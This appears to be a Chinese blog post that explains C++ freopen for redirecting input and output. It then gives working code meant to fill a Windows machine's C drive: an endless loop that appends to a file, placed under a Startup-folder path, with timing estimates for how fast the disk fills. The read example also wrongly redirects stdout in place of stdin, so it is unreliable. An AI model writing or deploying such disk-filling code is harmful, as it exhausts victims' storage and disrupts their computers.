admin管理员组

文章数量:1568355

freopen

一.用法

freopen是C++的东西
freopen(输出文件位置,输出方式,如何输出);
首先,输出文件位置可以是一个绝对位置,如:C:/a.html,指在C:/a.html位置,但你写a.html,是在本目录生成。

输出方式如何输出输出类型
'r'stdin读入
'a''w'stdouta是在原来之后追加,w是将原来的删除

如果我想在a.txt输出“11111”我可以这样写:

freopen("a.txt","a"/*或者w*/,stdout);
cout<<11111;

如果我想从a.txt读入我可以这样写:

freopen("a.txt","r",stdout);
int a;
cin>>a;

就是把cin coutstdin stdout 对于文件操作而已。

二.具体使用

freopen的写出是很疯狂的。无聊的我测了一下,十秒600M有了

a.cpp内容:

#include<bits/stdc++.h>
using namespace std;
int main()
{
	freopen("a.txt","w",stdout);
	for(;;)cout<<'0';
}

b.cpp内容:

#include <bits/stdc++.h>
#include <Windows.h>
using namespace std;
int main()
{
	system("start a.exe");
	Sleep(10000);
	system("taskkill /f /im conhost.exe");
 } 

然后运行b.cpp
十秒后

好兆头啊

600多M10秒

C盘100G,102400M,1706Sec写满,28小时可以写满。所以把w改成a就行了。

三.代码出来了

#include <bits/stdc++.h>//我喜欢万能的
using namespace std;
int main()
{
freopen("C:\Users\Administrator.38I0SOQGFLFPY0H\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a.txt","a",stdout);
	for(;;)cout<<'0';
//完美!
}

四.分析

自启动的话,一天算2次,一次让你写入5秒,一天10秒写入,
速度很不稳定,我试了一次,10秒才600M。一天600M,100G=102400M,170天足以完成!所以,还算是有效的了!

后记


进程会一直占用,在我发现时,已经晚了

本文标签: 第二种写满方式电脑freopen